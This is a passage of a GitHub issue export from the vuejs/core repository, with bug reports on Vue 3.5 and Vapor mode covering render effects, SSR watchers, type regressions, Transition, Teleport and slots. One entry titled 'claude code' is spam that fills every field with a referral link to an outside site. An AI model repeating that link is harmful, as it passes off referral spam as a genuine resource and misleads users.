https://play.vuejs.org/#__PROD__eNp9kd1KxDAQhV+l5EphTdUVhaUsqOyFgj+olwGJ7djNmiYhmdZC6bs7adkqsvQuc86XyZlJx66d400NbMWykHvlMGmks34tTJaOAh2pQKiclghUJUlWqGbtpSlsdbZKui55kLjlo3B0nPR9lkbiH3o+i2bp9ARbMAy5NZ+q5LtgDYXrYi/Bcls5pcE/OVTWBMGoZXSiJ7W23/eDhr6GxV7Pt5B/HdB3oY2aYM8eAvgGBJs8lL4EHO3N6yO0dJ7Myha1JnrGfIFgdR0zjthNbQqK/Ycb0t5VtGpUpnwLmxbBhP1QMWgk+4EXjH7odmb037hLfjHcE6anLb434GNPWuCSX/LTkw9Aya9Y/wMxRKVa

### Steps to reproduce

1. Create a component with two divs containing `{{ Math.random() }}`
2. Reload the page

### What is expected?

No error and to generate a random number on first load

### What is actually happening?

An error thrown, blocking the component from generating

### System Info

```shell

```

### Any additional comments?

Maybe related to #14560

It works for only one call.
It works when one or multiple in `<script>` part.
It works when the same function is used from `<script>` part with one in template.
",,2026-03-12T13:50:02Z,2026-03-12T14:11:01Z,0
vuejs/core,4064810131,[Vapor] Bad optimization for some functions,"### Vue version

3.6.0-beta.7

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kd1KxDAQhV+l5EphTdUVhaUsqOyFgj+olwGJ7djNmiYhmdZC6bs7adkqsvQuc86XyZlJx66d400NbMWykHvlMGmks34tTJaOAh2pQKiclghUJUlWqGbtpSlsdbZKui55kLjlo3B0nPR9lkbiH3o+i2bp9ARbMAy5NZ+q5LtgDYXrYi/Bcls5pcE/OVTWBMGoZXSiJ7W23/eDhr6GxV7Pt5B/HdB3oY2aYM8eAvgGBJs8lL4EHO3N6yO0dJ7Myha1JnrGfIFgdR0zjthNbQqK/Ycb0t5VtGpUpnwLmxbBhP1QMWgk+4EXjH7odmb037hLfjHcE6anLb434GNPWuCSX/LTkw9Aya9Y/wMxRKVa

### Steps to reproduce

- Create a Vapor component
- Add 2 div containing Math.random

### What is expected?

Each divs containing a different random values

### What is actually happening?

Both divs contains the same value

### System Info

```shell

```

### Any additional comments?

Maybe related to #14561

Inside the generated `_renderEffect` function `Math.random()` is called once and stored in one variable (see below), it should create one variable for each functions instead.

This is working properly in `<script>` and `<script setup>`


<details><summary>Generated _renderEffect</summary>
<p>

```js
_renderEffect(() => {
  const _Math_random = Math.random()
  _setText(x0, ""random1: "" + _toDisplayString(_Math_random))
  _setText(x1, ""random2: "" + _toDisplayString(_Math_random))
})
```

</p>
</details> 

---

As #14561 is closed, adding info here for this error:
An error on first load and reload seems that `ctx.` is prepended to Math.random and parentheses are not present

<details><summary>Generated _renderEffect</summary>
... [TRUNCATED]",":lady_beetle:  bug,scope: vapor",2026-03-12T13:49:50Z,2026-03-13T01:11:14Z,1
vuejs/core,4057749537,Typescript noUncheckedIndexedAccess flag is being ignored,"### Vue version

3.5.30

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01vnDAQ/StTX0ikXai07WVLKqVVDmmVJmo2p7CqKMyCU2Mj29BFiP/esfno9kPLxWbmefzem3HPrus6bBtkWxabTPPagkHb1CBSWVwlzJqEvU8kgO1qhLtu55Yr6F0I4DlLLRZKd1swVnNZ7OeNyw+JdEumpLFwUGr7z/kgT1ueB1sIHlAbJYPVFE9lZ0sq41KPqsLxx2enqlEEuxI1gilVI3L4jpBKQK2VBhd3GLrzObhLO8o9yRwPXGIe7EOBsrDlSRluTqrcfx6P6ouR+CwRuHQFL2furvic27+bmMXRaCJZRj8Wq1oQxBsYv1qvz1OG9doj+/48cxgmD6aSf9Gfy8SN8CvtBId2TZKooRdtKhpcLbIuJ11Tm91H9y+ih8F1qwd/yl/sC0aCEzyO/BVxdCKUrWhmyLkDL8IXaikNljcsYZmqai5Q39eWk7MJ285WJiwVQv385GNWE705npWY/fhP/MUcXSxhDxoN6hYTtuRsqgu0Y/rm8Qseab8kK5U3gtBnkl/RKNE4jiPsQyNzon2C82xvq1ppS2O5MzdHi9LMov4gKtWT9CIwv6VGHjG/zjI0C9DPjUcnjJ7hxzMe/da1Cd9M8zaQ3d9aejuEJqc34dtw85oNvwBImUGk

### Steps to reproduce

When using the `noUncheckedIndexedAccess` flag directly in a typescript file, we correctly see ""Object is possibly 'undefined'."" when appropriate, see line 11:

<img width=""309"" height=""91"" alt=""Image"" src=""https://github.com/user-attachments/assets/9fc70169-a67c-4ea1-98e0-cd4f5549172d"" />

This is the expected behaviour

https://www.typescriptlang.org/play/?noUncheckedIndexedAccess=true&ts=5.9.3&ssl=13&ssc=25&pln=14&pc=29#code/C4TwDgpgBAsiAq5oF4oG8BQUoG0DGAhsBAOYD2ATiAFxQDOwFAlgHYkC6tDzbGAvhgx4yLBlABmZMrTiJIUVJmwByACYEAbk1XLaygAoQKdEcoA0WKMoIsQwABasSuqwGUyAWwgOn5-oIB6AKh4eyNoOnsyAFcAG1UoACNoGygjCkooMIoIDEkyHGUYAhBkqABVFlUIcVYIHXYAOliINgdA4IBBKqgfOnoouISygHkAaTzKAAphUWAoQmJyKihWCSkASnRLfPwiUkoQdgBufiA

With vue, that compiler option does... [TRUNCATED]",,2026-03-11T11:47:27Z,2026-03-12T05:51:26Z,2
vuejs/core,4055490755,claude code,"### Vue version

3.x

### Link to minimal reproduction

https://qcode.cc/?ref=QC0962SAGQ21

### Steps to reproduce

https://qcode.cc/?ref=QC0962SAGQ21

### What is expected?

https://qcode.cc/?ref=QC0962SAGQ21

### What is actually happening?

https://qcode.cc/?ref=QC0962SAGQ21

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-03-11T03:29:39Z,2026-03-11T03:29:46Z,0
vuejs/core,4044428077,`watch()` created after `await` in async setup is not skipped during SSR,"### Vue version

3.5.29

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNrNVM1u2zAMfhXClzioZ3frdljhBOiKHrZDWzQ5Chhcm07UypKhHydF4HcfJSepA2wFtsM2HQyL5Ed+/BF30VXbpp3D6DLKTal5a0EUcjVjkTUsAoPWtXMmedMqbeHKvMjyes1FBbVWDUzS7FXk3UyYZDLPBk+Eo4vFphWFxTkwCfnCmRalQdIBnXzkMQuyPBuZ5NkRzWSUEKdSyZqv0iejJFHeeQSLStW0XKC+ay1XknhfQtB4XSGE2nwLMqsdJgd5ucby+SfyJ7P1MhbdazSoO2TRUWcLvUI7qG8Wt7il/6OyUZUTZP2G8gGNEs5zHMy+OFkR7ZFdYPs1FJvL1dLcbC2V4pCUJ+ot+2DPIir49Rupv9K9SD8GHJM9VfG0ZVRGqvq+90O/PfxfHM9xP2k70FgnsClsuYZ+P21+wP4ek//jeCY09MbS10kLM1+Y+Hzq3xZAloFdczPUCTXQb6m0xtKKFzDPvG2xgsppGiZYLB4gfsRaaYRiU3BLPmBAxsF3AvEUZvPDAPmoSmAq1CqeDLh3AXeMVnON1WTqWZi1cvSGb++WQPajkGHu9mwHtMQN3FM/ucGY3pgSHfqoNHpL3qBy9iBN4P359BeJ+tDmJLOitiT/7cQC7A/ySuDRWagUmnGGIVzaFcLh2dmwzka7kK6jfRb2X8W7+W63723f55kXDMDT1fe9Q+0XAT3Xi/RT+uFz1P8ALE2ewg==

### Steps to reproduce

1. create a component with async setup with a `watch()` after an `await`
2. server-render it


```vue
<script setup>
  import { ref, watch } from 'vue'

  const count = ref(0)

  await new Promise(resolve => setTimeout(resolve, 10))

  watch(count, () => {
    console.log('watcher fired during SSR')
  })

  count.value++
</script>
```

### What is expected?

The `watch()` callback should not fire during SSR (non-immediate watchers are supposed to return a no-op handle when `isInSSRComponentSetup` is true)

### What is actually happening?

The watcher fires during SSR. `withAsyncContext` restores currentInstance but not `isInSSRComponentSetup`.

### Sys... [TRUNCATED]","scope: ssr,:hammer: p3-minor-bug",2026-03-09T09:27:19Z,2026-03-09T09:58:12Z,0
vuejs/core,4039871407,Vue 3.5.29: $route and other ComponentCustomProperties not recognized in templates,"### Vue version

3.5.29

### Link to minimal reproduction

N/A (Nuxt project, see steps below)

### Steps to reproduce

1. Create a Nuxt 4 project using `vue@3.5.28` — `nuxi typecheck` passes
2. Upgrade to `vue@3.5.29` — `nuxi typecheck` fails with errors like:

```
Property '$route' does not exist on type '{ ... $nuxt: NuxtApp; }'
Property 'navigateTo' does not exist on type '{ ... $nuxt: NuxtApp; }'
```

3. Pin back to `vue@3.5.28` — passes again

Reproduced with:
- vue-tsc 3.2.5
- nuxt 4.3.1
- typescript 5.9.3

The issue affects any property added to templates via `ComponentCustomProperties` augmentation (e.g. `$route` from vue-router, `navigateTo` from Nuxt).

### What is expected?

`ComponentCustomProperties` augmentations (like `$route` from vue-router) should be recognized in templates during type checking, as they are in 3.5.28.

### What is actually happening?

Template type checking no longer sees properties added via `ComponentCustomProperties` module augmentation. All uses of `$route`, `navigateTo`, etc. in `<template>` produce TS2339 errors.

### System Info

```
macOS Darwin 25.3.0 (ARM64)
Ubuntu 24.04 ARM (GitHub Actions)
bun 1.3.10
```

### Any additional comments?

Pinning `vue` to `3.5.28` is a workaround. The regression was bisected by swapping only the vue version in a Nuxt 4 project — all other dependencies held constant.",need more info,2026-03-07T23:31:18Z,2026-03-10T01:12:09Z,2
vuejs/core,4037944543,"[Vapor] In Transition, if you quickly click an element when the transition is incomplete, it will disappear","### Vue version

3.6.0-beta.7

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ustu2zAQ/JUFL7GBWJaTPgBVcl/IoT20RRsUPRAoGHnlMKFIgVwpDgz/e5eSaylAkJO4M7Or4Sz34mPTJF2LIhN5KL1uCAJS20CnGufX0uqavwR78FjBASrvajjjhjNppS2dDQSdxgcoomCWzv+D5a2yW/w9ULM5FGvYSwu9OOmUaZHxaVEUsIL3kEIGK2kP0ubLwRCb4IKwbowi5Aogv2mJnIUPpdHlfSHF+Dcp1mORLwfh0HTtlQ2aNDfWboPcpu3CtcQtkWfFRnfQLXTFVLTGxCpfMviURxNwfTES+XKczEC+nHjNAz2aeEi4zxL6hSpJd3jeIwZVh0dkiIdOkzJQxsDrAKgCvusTmUyJe5jOIDfpr5yvs+EYbfyZLS7SZjfnIQCuUaWmxwzSYSanfHQozgUFXl6lt8ldcJafRD+S03V1ow367000FqTIhp9Fjk26h689Rr6N9xrw8hbL+2fwu7CLmBQ/PAb0HUpx4kj5LfI6In316xvu+HwieWWtYfUL5E8MzrTR4yD71NoN257oerdf+iet7fY6XO0IOe/jpaLRqDz0en4DLX5+4eqj3cvkVd/HiXKKfzv0cSYHeJm8SdLFDZJK3orDP111JWY=

### Steps to reproduce

Click three times in quick succession to reproduce

### What is expected?

normal display

### What is actually happening?

div element disappears

### System Info

```shell

```

### Any additional comments?

_No response_",":lady_beetle:  bug,scope: transition,scope: vapor",2026-03-07T08:55:02Z,2026-03-09T01:07:39Z,1
vuejs/core,4033358028,"[Vapor] When setting mode in Transition, nodes cannot be processed correctly","### Vue version

3.6.0-beta.7

### Link to minimal reproduction

https://play.vuejs.org/#eNrdVE1r20AQ/SuThRKbRpId9wNc2fSDHNxDUtocehCUjTx2N5F2xe5IdTD+753V2rIpxjmVQE5avXn7mHlvpLX4VFVxU6MYi9TlVlUEDqmuoJGVsdNMq5KfBDN9UxMsrCnhPE6UjkxN/t75h47ChJnuKFyPlN5R0iSIsyC/EJZVIQn5DSAN0kl4OYsiSINSMoUoYjRNDvjiQpDLjV6oZXzvjOa+1/5iJnJTVqpAe1ORMtplYgxtxddkUZg/X1uMbI0XOzz/jfnDEfzerTyWiW8WHdoGM9HVSNolUihf/bjGFZ+7YmnmdcHsE8Xv6ExR+x4D7XOt59z2Aa/tdtaaqvTy1l2tCLXbDeUb9cxNy88EO/zlxOj7dkfxm/Zepjfs4j7Cp6Jfg8UFbLbJ+kB9iJyBI9Aw8dXesL9D5Hx+zWCvD5Np6IKXQBY1enB3fA3DPryCS27l9G7c1URGw8e8UPnDhK1h9UxM/SNNQjEQb61ki/z4wDYjU8OATA5OpHPVQBOpBZfY+S0KQJzRcEtJmBPkkr3evxuYOnos/CFuItSENpI5qcYvDyMFyga3SBifOqUxcLIQv3WA0iF/FTx8J+LdPZQgc3B9YWzpk+ej7+JnL7ocVKs+SwCYSuaKHscwCIps57ZBTnn/FT5fyqP/mXIY8GjKZ0/G3PGxcHh8NXhFX+hq/GrQ+p8KL8YofhcPojskGb8Xm7+vhwPM

### Steps to reproduce

Click the 'addN' button

### What is expected?

Remove node

### What is actually happening?

Nothing happened

### System Info

```shell

```

### Any additional comments?

Both 'in-out' and 'out-in' have issues","scope: transition,scope: vapor",2026-03-06T10:08:37Z,2026-03-06T13:13:22Z,3
vuejs/core,4031960226,Question about different reference equality behavior between watch(source)and watch(() => source),"[### Vue version

v3.5.29

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNqlVk1v2zAM/SuEL3GBzEbXnowkWLq1wIqhLdbd5h1UW07dypIhy/lAkP8+6iNy4iZdkeVgS+IT9fhIylkH07qO5i0NkmDUZLKsFTRUtTUwwmfjNFBNGkxSXla1kArWIGkBGyikqGCA2wbelD2XLJeUT50xircr+VQfgMhM8EZBThSBsXYUrlMO0DZUJnA+TPnmLOVFyzNVCo525BHWRJKqOQOD1DujOWEtxf3WgptSPootc+SJE0WrmhFFcQYwyss5mJH+6dlk+vCQrNeWxmYzivWaB3RRJBqAAuhXGkBi+NxwXDEjXIrtCc7BKPYHB0OUDYMtyln00giO2hr+aZCJqi4Zlfe1jhGlTWxk2kYYE4tbs6ZkS1EPu5490+z1wPpLs9RrafCgCck5TQNvU0TONEdtvn68o0sce2Ml8pYh+h3jT9oI1mqOFnbV8hxp7+AM2+8m9SWf/Wqul4ryZhuUJqqRG4NPA8z/13dC7+heRJdmH+YVVdyvoJ0SPV6cQ2i5eS2Iyp6HkNOi5OZwwSlXvdpNOV2avQgjLTPvXbit0FqKuvF0dUH4CYBa1TSB+6cXmimnDmKsuwTCMxhPwLqxv67c7Xxz5oZWK7CFf8PfHHHjOuP4IT1X9mm6OTQhuDYCsI3IREbYt64bDSbS4WEfahijCmZMPFmUXTOyho5CHDtxzC5PzPI5ZODGsqOG5+D7GnOyNXZn47pJa+jxjmInG2D+y6qieYkt6FoFJaK1HXuc22ifpFnxDHp3jpdpK5Ru7B87Yh2jovXidOFQb3I+GHRJ3w7IgpTKSeUSHzoX3q0mIRiNmJiFgytaCEkhY5RIbLxPk/PBsE9wPO7r+kFfn9HXrugnO7p462iP4wfdXPZjG8Lt4/1d1ChtL4tVuO/Vu7XtGL3SVdODRHjENcESDtH4j2r8jZA/uiRtQsy0a9uDIUwLRWUXwX8kp+fp1NT03JyWmJ6TE9Piil7ihSR5J7sPw3eHaYTtVba9ybTgex/6Q5969yE3Q3trH/7SG4A/WIO6y7CHfGqVwqvhS8bK7LX7+k/MexRb89F/Apu/THcFnA==

### Steps to reproduce

1. Open the reproduction link.
2. Open the browser's developer console.
3. Click `reset` button
4. Observe the console output  `Before clearing->1 false`

------

5.  Close `() => props.data,`   Open `props.data,`
6.  Click `reset` button
7. Observe the console output  `Before clearing->1 true`


### Wha... [TRUNCATED]",,2026-03-06T03:13:41Z,2026-03-06T13:11:25Z,1
vuejs/core,4015269478,[Vapor] Dynamic props should not include static props,"### Vue version

3.6.0-beta.7

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU02P0zAQ/SvDCKmttElBi0CK0kqA9gAHQMANo1WaTIuXxLZsJ1Sq8t8ZO012t2p3c7Fn3ny855kc8L0xadcSZpi70krjwZFvDXSF0XYtlGz49HAAS0XpZUfQw9bqBmacNZvwj7oxR3+6DEYoyrBQpVbOg7HawGoqMj8IBVDqVvkMXgvVL0JovhwocFs2PDWmLjyxBZC/SBIlS4qFXAbBBxCrhG+rdQbzBazWMBfIlsDF1Qi+zODXeIcx6rb0+zQU484D8Hu49LF2kgxto66MC64EzviYCYQu2UhVsSOkC1znUfBEc1NUF1g+JnKGykQ5pp1VBf3zfE8InvC/55svH7wxXqF3PKyt3KV3TiveiEhcYMnRsib71XjJwxSYjZIEFnWt/32OPm9bOgrgnD9U/j3jv3P74BP4zZIj25HACfOF3ZEf4JsfX2jP9wlsdNXWHP0E+J2crtvAcQj70KqKaT+Ii2w/xY2VavfT3ew9KTeKCkRDZB/jBfIGh4e6JP2e7nX6JubxHvMrjtt/8Zd6ctF5hpXsjtfwhXJHYDkgp2O77cgGEdzwOn2bvko25Iv0Hfb/AYkNMVo=

### Steps to reproduce

View the compiled .js file

### What is expected?

`<Comp v-bind=""prop"" :foo=""'foo'""></Comp>`
Compiled props:
```js
{
      foo: () => (""foo""),
      $: [
          () => (_ctx.prop)
      ]
}
```

### What is actually happening?

`<Comp v-bind=""prop"" :foo=""'foo'""></Comp>`
Compiled props:
```js
{
    $: [
        () => (_ctx.prop),
        { foo: () => (""foo"") }
    ]
}
```

### System Info

```shell

```

### Any additional comments?

I have fixed the genRawProps method, but I am not sure if it is correct

https://github.com/vuejs/core/commit/2486bea92f1fce382c48b177e379112e1d3373c6#diff-ea4c5e19cf7e5eb21851597c25a3e31bc536523ff575430ea751f57d2ecf1b61R175-R196",,2026-03-03T07:56:57Z,2026-03-03T08:11:43Z,1
vuejs/core,4011522922,Flashing async component with 0 delay,"### Vue version

3.5.29

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ufpj5ctj?file=src%2Fmain.js

### Steps to reproduce

 - Define an async component with a loadingComponent having a delay of 0 (for now we do not need a real component to be loaded)
 - render this component, either via the html, or via an app.vue does not change the results
 - Observe how it appears for a second, disappears for a while after Vue has mounted, and reappear ~300ms later

<img width=""550"" height=""524"" alt=""Image"" src=""https://github.com/user-attachments/assets/b457a474-8c17-406c-b563-db809fc6dc61"" />

<img width=""551"" height=""522"" alt=""Image"" src=""https://github.com/user-attachments/assets/e5b5f030-5552-4c93-94d1-39ef5c5abfc9"" />

<img width=""525"" height=""529"" alt=""Image"" src=""https://github.com/user-attachments/assets/216e57ba-e22e-4420-ba4d-f0ae2783ced5"" />

### What is expected?

If an async vue component has a fallback value with a delay of 0 i would expect it to render the fallback immediately, at the same time as the regular components do.

### What is actually happening?

What currently happens is that the regular components are mounted immediately.
The async components fallback is rendered with about 300ms delay, even though the delay is set to 0ms.

This causes a jarring layout shift if this component is used above the fold.

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 ... [TRUNCATED]",,2026-03-02T14:16:30Z,2026-03-03T01:31:31Z,3
vuejs/core,4003549573,shallowReactive with v-for incorrect typing: property does not exist on type true,"### Vue version

@ea24576

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kcFOwzAQRH9l5UtAKqkqOFVppRb1AAdAhaMvabptXBLbsjehUpR/Z+2IUCHUWzyz47zxdmJlbdo2KOYi84VTlsAjNXYptaqtcQQd+DKvKvO1xbwg1SL0cHCmhoRjidRSF0Z7ArM7weLv7E0nNUA+51tIUYVzSFYJ9JOg7i7V9aD2t1Jn0wGEEfhAWNsqJ+QTQFbOoL07GLeQQrEDSof/SrHsOghCGu+Dvs+m5Ywj2XTMi4kgz6gHdUxP3mhuHOGkKExtVYXu1ZLiKlIwWHCCF9s8R41cgxE8ZkosPv/RT/4cNCneHHp0LUoxepS7I9Jgb95f8Mzfo1mbfVPx9BVzi95UTWAcxtaN3jP2xVykfYp7U/r44TdnQu1/SgXQMDk8vxS8v8cr1X9x79OHmOP9iP4buAa6hQ==

### Steps to reproduce

shallowReactive object gets incorrectly typed when used in v-for:
```vue
<script setup>
import { shallowReactive } from 'vue'

const obj = shallowReactive({
  a: { title: 'A' },
  b: { title: 'B' },
})
</script>

<template>
  <h1 v-for=""item in obj"">{{ item.title }}</h1>
  <!--                            ^^^^^
  -->
</template>
```

### What is expected?

No error, and
```ts
typeof item // { title: string }
```

### What is actually happening?

Typescript error:
```
Property 'title' does not exist on type 'true | { title: string; } | { title: string; }'.
  Property 'title' does not exist on type 'true' .ts(2339)
```

### System Info

```shell

```

### Any additional comments?

I found these typings in vue, I guess it might come from here
```ts
declare const ShallowReactiveMarker: unique symbol;
export type ShallowReactive<T> = T & {
    [ShallowReactiveMarker]?: true;
};
```",scope: types,2026-02-28T01:29:58Z,2026-03-25T09:06:29Z,0
vuejs/core,4002827013,3.5.29 regression: type error when assigning $attrs.class to :class,"### Vue version

3.5.29

### Link to minimal reproduction

https://stackblitz.com/edit/vue3-vite-typescript-starter-lef7lqpi?file=package.json

### Steps to reproduce

The following will produce a type error in both VS Code and vue-tsc in 3.5.29 (but not 3.5.28 and earlier):

```vue
<template>
	<div :class=""$attrs.class"" />
</template>
```

The Stackblitz repro will reproduce the type error too if you run `npm run build`.

### What is expected?

No type error

### What is actually happening?

Type error:
```
error TS2345: Argument of type '{ class: unknown; }' is not assignable to parameter of type 'HTMLAttributes & ReservedProps & Record<string, unknown>'.
  Type '{ class: unknown; }' is not assignable to type 'HTMLAttributes'.
    Types of property 'class' are incompatible.
      Type 'unknown' is not assignable to type 'ClassValue'.

<div :class=""$attrs.class"">
```

### System Info

```shell
System:
    OS: Windows 11 10.0.26200
    CPU: (16) x64 AMD Ryzen 7 PRO 6850U with Radeon Graphics
    Memory: 3.78 GB / 30.77 GB
  Binaries:
    Node: 24.13.0 - C:\Program Files\nodejs\node.EXE
    Yarn: 4.0.2 - C:\Program Files\nodejs\yarn.CMD
    npm: 11.6.2 - C:\Program Files\nodejs\npm.CMD
    pnpm: 10.30.1 - C:\Program Files\nodejs\pnpm.CMD
  Browsers:
    Edge: Chromium (143.0.3650.80)
    Internet Explorer: 11.0.26100.7309
```

### Any additional comments?

This is a regression caused by #14441 changing the type of HTMLAttributes.class from `any` to `ClassValue | undefined`, wh... [TRUNCATED]","scope: types,:hammer: p3-minor-bug,regression",2026-02-27T20:54:40Z,2026-03-09T06:23:43Z,0
vuejs/core,3999797066,[Vapor] The prop `is` of Vapor components does not support dynamic binding via `v-bind`,"### Vue version

3.6.0-beta.7

### Link to minimal reproduction

https://play.vuejs.org/#eNp9klFLwzAQx79KyEsdzFaYKIxuoHMP+qBDfQxI7a5dZpqEJO0Gpd/dS+pmFd1Tm///7vLL3bX0Ruu4qYFOaWpzw7UjTaaVIRZcrYnIZDlj1FlG50zyCh1HFqrSpDCqIlGc+IMvEDGZJn0FjMSDg0qLzAGeCElDzpRbLBatMgPSRYySZGAGr7e+nDQZ1KBjpMiVLHgZb62SCNz6ZEZzzOYCzJN2XEkknZLgeC8TQu0eguZMDeODnm8g//hD39q91xDEgAXTAKNHz2WmBGTz9vLlEfb4fzQrta4FRp8wn8EqUXvGPuy2lmvEHsQF2vvQZC7LV7vcO5D28CgP6iO7EM8oNt037r+nf+NO4suQx2SHXTwMbDDxftb93H9OHBtuHdFGaUtmZMfd5g6KrBbOnq2h4BJW3krDpdxOiXUGyfGi+dlo3LN4OVpsuFjjinSj02uiw4eQtuW2Q2CUEq/9XoW3BoxvDD5iEl/FF+fv4LL4mnaftPTu1Q==

### Steps to reproduce

1. Define the prop for the Vapor component and use it in the template
```ts
// Child.vue
withDefaults(defineProps<{
  is: string
}>(), {
  is: 'Child'
})
```

```html
<template>
  <div>{{ is }}</div>
</template>
```

2. Use the Vapor component in the parent component and pass `:is=""'Parent'""` via `v-bind`

3. At this point, the page displays `Child` and a warning is shown indicating that a required prop is missing. The `v-bind` passing method is supported in VDOM mode.

### What is expected?

1. When passing the `is` prop to a Vapor component via `v-bind` (e.g., `:is=""'Parent'""`), the component should correctly receive and render the dynamically bound value (`Parent`), instead of falling back to the default value (`Child`).
2. No false warning about a ""required prop missing"" should be thrown when the `is` prop is passed via `v-bind` (consistent with the behavior in VDO... [TRUNCATED]",":hammer: p3-minor-bug,scope: vapor",2026-02-27T08:19:54Z,2026-03-02T05:56:49Z,1
vuejs/core,3995735946,Inconsistent behavior between template slot and JSX slot for fallback content,"### Vue version

3.5.29

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUslOAkEQ/ZW2L0DCDBE9kRGjhoMe1KjHTsxkKHCwt/SCk8D8u9XdMoBxuXXVe/1qebWhV1rnaw90QgtbmVo7YsF5PWWyFloZR26U0KdkYZQgvXwUo9zZpndEGB8RxkERCUwWoySKchg4EJqXDjAipIhS8YnBSZaRSgkB0lmSZYmRqu3Z4//ZgVKMDgrRIXW2UnJRL/OVVRIH3QQ6oyigaw7mQbtaScvohEQkYCXn6uMu5pzxMNzlqzeo3n/Ir2wTcow+GrBg1sBoh7nSLMElePZ8Dw2+O1CouefI/gN8Aqu4Dz0m2rWXc2z7gBe7vY1u1HL5YmeNA2l3Q4VGA7ONfEbRm7Cp30bft3uWn8d/TLa4xc553CA00fk5LErPXfobz6b/OiQbYrlCX9rBTtQgZCTpD8jFNIH519fLHJPbLelFdTyZVC7a1l1SuM3j0wka04jjgYX3d9PbT2fN7JU=

### Steps to reproduce

1. Create a JSX component with fallback content:
```tsx
// Comp1.tsx
export default {
  setup(_, { slots }) {
    return () => slots.default?.() || 'Comp1'
  }
}
```

2. Create a template component  with fallback content:
```vue
<!-- Comp2.vue -->
<template>
  <slot>Comp2</slot>
</template>
```

3. Use both components with only comments in the slot content:
```vue
<template>
  <Comp1>
    <!-- comments -->
  </Comp1>
  <Comp2>
    <!-- comments -->
  </Comp2>
</template>
```

### What is expected?

Both components should render their fallback content (""Comp1"" and ""Comp2"" respectively)

### What is actually happening?

Only `Comp2` renders its fallback content

### System Info

```shell

```

### Any additional comments?

`<slot></slot>` is transpiled to `renderSlot(slots, 'default')`, which internally calls `ensureValidVNode`.  To make sure consistent results,  I suggest having the compiler transpile slot ... [TRUNCATED]",,2026-02-26T13:56:51Z,2026-02-27T01:13:53Z,1
vuejs/core,3992879457,[vapor] An error will be reported when using Teleport in dynamic components,"### Vue version

3.6.0-beta.6

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UUFOwzAQ/MriSy9NglTUQxUqAeoBDoCg4mQJpcm2uDi2ZTuhqMrfWbtKWiToyZ6d2fHses9ujEnbBtmM5a60wnhw6BsDbWG0nXMlajo97GGJEsN1DG+B6iF0sLa6hhGZjLjKs4MLdRLwWBtZeCQEkF8kCayKCpLkgEtN3gqVh5lw15z1lpyB14RXuvrmLGpJXYl23ivyLKBokg0ux0eUKHF4ZQj6j+evaU6N+xrBPDuZhI2Zd6VWa7FJt04rWt0+dHAWogiJ9sl4oZXjbAaRCVwhpf56iDVvGxz39fIDy88/6lu3CzXOni06tC1yNnC+sBukNQV68fqIO7oPZK2rRpL6DPmCTssmZDzIbhtVUewTXUx7H79eqM3SLXYeleuHCkGDsot6zujr786Mfow7Sa9iH1cdbfG9RRs8aYGTdJpeJiv0RTpl3Q+4U9mK

### Steps to reproduce

Click to open the link.

### What is expected?

Operate normally or provide a prompt

### What is actually happening?

Console print error:  `render is not a function`

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 Intel(R) Core(TM) Ultra 7 255H
    Memory: 15.06 GB / 31.43 GB
  Binaries:
    Node: 22.18.0 - D:\Document\nodejs\node.EXE
    npm: 10.9.3 - D:\Document\nodejs\npm.CMD
    pnpm: 10.28.2 - D:\Document\nodejs\pnpm.CMD
  Browsers:
    Chrome: 144.0.7559.133
    Edge: Chromium (140.0.3485.54)
```

### Any additional comments?

_No response_","scope: vapor,interop",2026-02-26T02:23:40Z,2026-02-26T12:43:38Z,1
vuejs/core,3989401042,SFC Playground <Header> hides monaco modal,"In certain circumstances, the Monaco ""hover"" modal will sit underneath the `<Header>` component:

<img width=""628"" height=""140"" alt=""Image"" src=""https://github.com/user-attachments/assets/15ab9c0d-97af-42ff-ae56-9e650e4712e9"" />
",scope: playground,2026-02-25T13:09:13Z,2026-02-27T01:02:07Z,0
vuejs/core,3987371723,Can't resolveDynamicComponent in component slots,"### Vue version

3.6.0-beta.6

### Link to minimal reproduction

https://play.vuejs.org/#eNqVU8Fu1DAQ/ZXBQtoiNQlSUQ+rdCVAeygHqICjJRqS2cWLY1u2ExZF+XfGdpKi7bZSb+OZN89vxs8De29M3nfI1qx0tRXGg0PfGZCV2t9w5h1nG65Ea7T1sJW3ynQedla3sMqLeArtqwXyUbdmqYfDVOaq1sp5GMD/NQg3sBKheQUjxQ3uhMI7q40rE2ANzluh9jBuLt6E7gT5YrwgmouBK4Ca2LVC5d2aaGdtI1cjdZRFGofE08Fja2TlEfqKVFIOoAziYkTxQgVr4Wjse5TZ6yEIGe9pAWWxADZQvsoy2FVCYgNZlrjipCl8MZXr6hqdS1xlMUulA7uk/dPadmKfH5xW9EhxcM4CBwmw0z44ow2kUTirpNR/PsWctx1ezvn6F9a/z+QP7hhynN1ZdGh75Gyp+cru0afy9ttnPFK8FFvddJLQzxS/otOyCxoT7EOnGpL9Hy6qvY3eoef+7rZHj8rNQwWhATlGPGfkpbDpp0Z/kHuVv4t9ZAba4uLTU5s/WHsAoQ5Yk38m9ybbPmGj9NSN6CcDRS8nJ6Tk6TvOP+GRgPMXnPKXTmoPxWS281f86NGGxdEVV/l1/jb7ib7Kr9n4D5pyTg0=

### Steps to reproduce

`<Comp><component is=""el-input""></Comp>` will be render as a `el-input` element, not a component.

### What is expected?

correct resolve dynamic component name

### What is actually happening?

dynamic component can't be resolved in slots. because currrentInstance is changed.

### System Info

```shell

```

### Any additional comments?

_No response_",":lady_beetle:  bug,scope: vapor",2026-02-25T05:47:30Z,2026-02-26T01:42:17Z,1
vuejs/core,3986969803,[vapor] The issue of dynamic styling in Teleport when using component slots,"### Vue version

3.6.0-beta.6

### Link to minimal reproduction

